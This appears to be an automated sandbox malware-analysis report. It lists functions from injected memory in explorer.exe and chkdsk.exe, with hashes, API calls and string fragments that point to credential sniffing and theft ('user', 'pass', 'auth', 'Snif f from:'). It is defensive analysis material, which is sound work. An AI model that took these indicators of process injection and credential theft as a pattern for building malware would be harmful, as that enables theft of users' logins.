String ID: UR$2$L: $Pass$User$name$word
API String ID: 0-2058692283
Opcode ID: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
Instruction ID: 7a07a07697576d7b96030206f04d5b0bd8aa68a96bae95bff20c5a4cc4b5f05a
Opcode Fuzzy Hash: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
Instruction Fuzzy Hash: E1918FB06187488BDB59EFA8D444BEEF7E1FB88300F40462ED48AD7251EB7095498786

Uniqueness

Uniqueness Score: -1.00%

Function 07D80352 Relevance: 6.5, Strings: 5, Instructions: 242COMMON

Download Yara Rule

Strings

, xrefs: 07D8047C
., xrefs: 07D803B0
e, xrefs: 07D8048E
v, xrefs: 07D804A0
n, xrefs: 07D803E7

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: $.$e$n$v
API String ID: 0-1849617553
Opcode ID: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
Instruction ID: 561040e6b80df43c8c18a83c1a8408c85fd4f8f1579e121b864cf1166a823d30
Opcode Fuzzy Hash: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
Instruction Fuzzy Hash: A9718F71618A49CFD758EFA8C4847AAF7F1FF58304F00062ED45AD7221EB71E9458B86

Uniqueness

Uniqueness Score: -1.00%

Function 07D7BC32 Relevance: 6.4, Strings: 5, Instructions: 175COMMON

Download Yara Rule

Strings

2.dl, xrefs: 07D7BC64
l32., xrefs: 07D7BC97
shel, xrefs: 07D7BC90
dll, xrefs: 07D7BC9E
ole3, xrefs: 07D7BC5D

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: 2.dl$dll$l32.$ole3$shel
API String ID: 0-1970020201
Opcode ID: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
Instruction ID: fe3ca4265a27af203c985d6ccb729e21de0cdfc8ce9ad9e911ab1120cc5c7f76
Opcode Fuzzy Hash: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
Instruction Fuzzy Hash: BC514CB0918B4DCBDB94EFA4C045AEAF7E1FF58300F40462E959AE7254EF3095418B9A

Uniqueness

Uniqueness Score: -1.00%

Function 07D7C86F Relevance: 6.4, Strings: 5, Instructions: 157COMMON

Download Yara Rule

Strings

4, xrefs: 07D7C9E9
vers, xrefs: 07D7C8E4
ion., xrefs: 07D7C8EC
\, xrefs: 07D7C9E0
dll, xrefs: 07D7C8F4

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: 4$\$dll$ion.$vers
API String ID: 0-1610437797
Opcode ID: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
Instruction ID: 427cb4502aa2cf2d6dcd6a5e8059c9a25cfa320d3356962fcf2e993c0eecd23b
Opcode Fuzzy Hash: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
Instruction Fuzzy Hash: 03418070228B898FCBB5EF6498457EAB7E4FB98301F51462E988EC7240EF30D545C792

Uniqueness

Uniqueness Score: -1.00%

Function 07D7E4B2 Relevance: 6.4, Strings: 5, Instructions: 149COMMON

Download Yara Rule

Strings

user, xrefs: 07D7E4D3
dll, xrefs: 07D7E51C
sspi, xrefs: 07D7E50E
cli., xrefs: 07D7E515
32.d, xrefs: 07D7E4DA

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: 32.d$cli.$dll$sspi$user
API String ID: 0-327345718
Opcode ID: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
Instruction ID: 65a45f749fa87b1287451dac5a365123902f4ec55d5e9c2336769634a2097d4f
Opcode Fuzzy Hash: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
Instruction Fuzzy Hash: EE4151B0A18E5E8FCB94EF6880957ADB7E1FB58300F80456AA80ED7210EA70D540CB86

Uniqueness

Uniqueness Score: -1.00%

Function 07D7C432 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

kern, xrefs: 07D7C52A
h, xrefs: 07D7C51F
.dll, xrefs: 07D7C53F
el32, xrefs: 07D7C537

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: .dll$el32$h$kern
API String ID: 0-4264704552
Opcode ID: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
Instruction ID: d0e2b68a6b4e01c548b8fd72342d36a27454ec115a0a355399dcf7862b8b5fe3
Opcode Fuzzy Hash: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
Instruction Fuzzy Hash: F34195B0618B498FD7A9DF2880853BAFBE1FB98300F50466F949EC3255EB70D545CB92

Uniqueness

Uniqueness Score: -1.00%

Function 07D830B9 Relevance: 5.1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

Strings

f fr, xrefs: 07D8313D
, xrefs: 07D83184
om:, xrefs: 07D83146
Snif, xrefs: 07D83154

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: $Snif$f fr$om:
API String ID: 0-3434893486
Opcode ID: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
Instruction ID: f89c587b5f16922e6e643fd14cc7acb1b1861daa89af9d89896e4110cb5e44c5
Opcode Fuzzy Hash: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
Instruction Fuzzy Hash: CD31E1B151CB889FC75AEB28C0846EAF7D0FB84300F50491EE49BC7251EE30A549CB43

Uniqueness

Uniqueness Score: -1.00%

Function 07D830C2 Relevance: 5.1, Strings: 4, Instructions: 109COMMON

Download Yara Rule

Strings

f fr, xrefs: 07D8313D
, xrefs: 07D83184
om:, xrefs: 07D83146
Snif, xrefs: 07D83154

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: $Snif$f fr$om:
API String ID: 0-3434893486
Opcode ID: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
Instruction ID: efc3834026e7c1abf1561f18c0a81073189f9574d05ea52bc8a0530a29a1abb5
Opcode Fuzzy Hash: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
Instruction Fuzzy Hash: 7331F2B1518B48AFD75AEB28C4856EAF7D4FB94300F50491EE49BC3251EE30E54ACB43

Uniqueness

Uniqueness Score: -1.00%

Function 07D7EFC2 Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

chro, xrefs: 07D7F023
me_c, xrefs: 07D7EFEE
.dll, xrefs: 07D7EFFE
hild, xrefs: 07D7EFF6

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: .dll$chro$hild$me_c
API String ID: 0-3136806129
Opcode ID: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
Instruction ID: 8decc4b8be04426d3e9dec53e2e9b6f5cab7526c51ab0703bda010e7afa25863
Opcode Fuzzy Hash: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
Instruction Fuzzy Hash: 68315CB0118B498FCB94FF688495BAAB6E1FB98300F94066D944ACB255DF30C945C763

Uniqueness

Uniqueness Score: -1.00%

Function 07D7EFBF Relevance: 5.1, Strings: 4, Instructions: 105COMMON

Download Yara Rule

Strings

chro, xrefs: 07D7F023
me_c, xrefs: 07D7EFEE
.dll, xrefs: 07D7EFFE
hild, xrefs: 07D7EFF6

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: .dll$chro$hild$me_c
API String ID: 0-3136806129
Opcode ID: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
Instruction ID: 7831264859a44d9ef4c3cf8aa7a61a5b073056e52efdfc5cb71a3ba57fef965b
Opcode Fuzzy Hash: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
Instruction Fuzzy Hash: A5318DB0218B498FCB94FF688494BAAB7E1FF98300F94062D944ACB255DF30C945C763

Uniqueness

Uniqueness Score: -1.00%

Function 07D818C2 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

nt: , xrefs: 07D8191E
on.d, xrefs: 07D81902
User-Agent: , xrefs: 07D81935, 07D81948
urlmon.dll, xrefs: 07D81959

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 0-319646191
Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction ID: 23259cbb800ddb492605ed06a023ae549207f0f96fe7598a715cb00300e05113
Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction Fuzzy Hash: 1131D171614A4D8BCB45FFA8C8847EDB7E1FB58214F40022AD45EE7240DE748645C79A

Uniqueness

Uniqueness Score: -1.00%

Function 07D818BE Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

nt: , xrefs: 07D8191E
on.d, xrefs: 07D81902
User-Agent: , xrefs: 07D81935, 07D81948
urlmon.dll, xrefs: 07D81959

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 0-319646191
Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction ID: 6dfdfd5d0b280af436150956f18fb81638a72291d93be864d5f0606ef14fc6c5
Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction Fuzzy Hash: 1C21C3B0614A4D8ACB45FFA8C8447EDBBE1FF58204F40421AD45AE7240DE7486458796

Uniqueness

Uniqueness Score: -1.00%

Function 07D82E92 Relevance: 5.1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

Strings

l, xrefs: 07D82F03
t, xrefs: 07D82EF4
l, xrefs: 07D82F26
., xrefs: 07D82F1F

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: .$l$l$t
API String ID: 0-168566397
Opcode ID: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
Instruction ID: 4a4064ba28c43e01746f1824ded5e04178198d2e01e4246d934d5847cfa2ee7b
Opcode Fuzzy Hash: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
Instruction Fuzzy Hash: 0F216BB0A24B0D9FDB44FFA8C0447ADFAF0FB58314F90462ED009D3600DB7495918B95

Uniqueness

Uniqueness Score: -1.00%

Function 07D82E94 Relevance: 5.1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

Strings

l, xrefs: 07D82F03
t, xrefs: 07D82EF4
l, xrefs: 07D82F26
., xrefs: 07D82F1F

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: .$l$l$t
API String ID: 0-168566397
Opcode ID: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
Instruction ID: f9680b5633b3977cf92352fd2b0c2bc29b7303416978f5686ff56d2b2555ee58
Opcode Fuzzy Hash: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
Instruction Fuzzy Hash: 5A2148B4A24A0D9FDB48FFA8D044BE9FAF1FB58314F90462ED049E3600DB7895918B95

Uniqueness

Uniqueness Score: -1.00%

Function 07D82FF2 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

logi, xrefs: 07D8303C
auth, xrefs: 07D8302F
pass, xrefs: 07D83022
user, xrefs: 07D83015

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: auth$logi$pass$user
API String ID: 0-2393853802
Opcode ID: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
Instruction ID: 4a3ef813d42f9d7720e1d98515cab07fe0a01af6803147014fb32db4f4b16de1
Opcode Fuzzy Hash: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
Instruction Fuzzy Hash: D521D2B0624B0D8BCB45EF9D98807EEB7F1EF88344F005619D40AEB244D7B4E9148BD2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: chkdsk.exePID: 2052, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	1.7%
Signature Coverage:	0%
Total number of Nodes:	589
Total number of Limit Nodes:	75

Executed Functions

Function 000DA3CA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,?,?,?,?,?,!J,FFFFFFFF,?,bM,?,00000000), ref: 000DA415

Strings

!J, xrefs: 000DA3EC, 000DA3F8
mK, xrefs: 000DA43C, 000DA444

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !J$mK
API String ID: 2738559852-2694220420
Opcode ID: cc1a5caa438b4077c69265ee7044e14f5808b96c11d54c474f95ad02f58022d0
Instruction ID: f804c8201bb02d07c3e25c7b8e37c9ede7840616410246d89af2f2e949d89030
Opcode Fuzzy Hash: cc1a5caa438b4077c69265ee7044e14f5808b96c11d54c474f95ad02f58022d0
Instruction Fuzzy Hash: 590129B2200214AFCB14DF98DC85EEB77ADEF8C714F058659BA1D97241C630E911CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 000DA320 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,000D4BA7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,000D4BA7,007A002E,00000000,00000060,00000000,00000000), ref: 000DA36D

Strings

.z`, xrefs: 000DA35D, 000DA368

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 1bfa10e3faee7791774820e63c42ca3d0b2d757105d0aa3ec970af5c21c03481
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: A8F0BDB2200208ABCB08CF88DC85EEB77ADAF8C754F158248BA0D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 000DA3D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,?,?,?,?,?,!J,FFFFFFFF,?,bM,?,00000000), ref: 000DA415

Strings

!J, xrefs: 000DA3EC, 000DA3F8

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !J
API String ID: 2738559852-3001626359
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: ad74e15f3fd307556c897afc5ac714aa2a4d6fa41f11e1eb9c28cc7018f46207
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 0EF0A4B2200208ABCB14DF89DC81EEB77ADEF8C754F158259BA1D97241D630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 000DA450 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(@M,?,?,000D4D40,00000000,FFFFFFFF), ref: 000DA475

Strings

@M, xrefs: 000DA46C, 000DA474

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: Close
String ID: @M
API String ID: 3535843008-3032291623
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: de6f758c108df2676504686597ef287f8484cdd2a1d44d8bd507fdab3fdd9ae9
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 5DD01776200314ABD710EBD8DC85FE77BACEF48760F1544A9BA189B242C530FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 000DA44B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(@M,?,?,000D4D40,00000000,FFFFFFFF), ref: 000DA475

Strings

@M, xrefs: 000DA46C, 000DA474

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: Close
String ID: @M
API String ID: 3535843008-3032291623
Opcode ID: da2f2a09bd1995a3dd4a76507012b4aea431bae2938b2126c55502600cb5ce75
Instruction ID: c3453fc2a3ec13bb89aa51b14ce234f514b6243dbedacf0c8187324c7de097e5
Opcode Fuzzy Hash: da2f2a09bd1995a3dd4a76507012b4aea431bae2938b2126c55502600cb5ce75
Instruction Fuzzy Hash: A6D0C2AE0092804BCB10EAB464C10C27B40DE512183251D8EE4A44B703C124D606A3A1

Uniqueness

Uniqueness Score: -1.00%

Function 000DA500 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,000C2D11,00002000,00003000,00000004), ref: 000DA539

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 9f9fd06c6a323a8ded80df0213e56d2d7389a686948efba7f95ea834e3d92d1b
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 38F015B2200208ABCB14DF89DC81EEB77ADEF88754F118159BE0897241C630F810CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 020100C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 020100CF

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 020107AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 020107B7

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 0200FAB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FAC3

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 0200FAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FADB

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0200FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FAF3

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
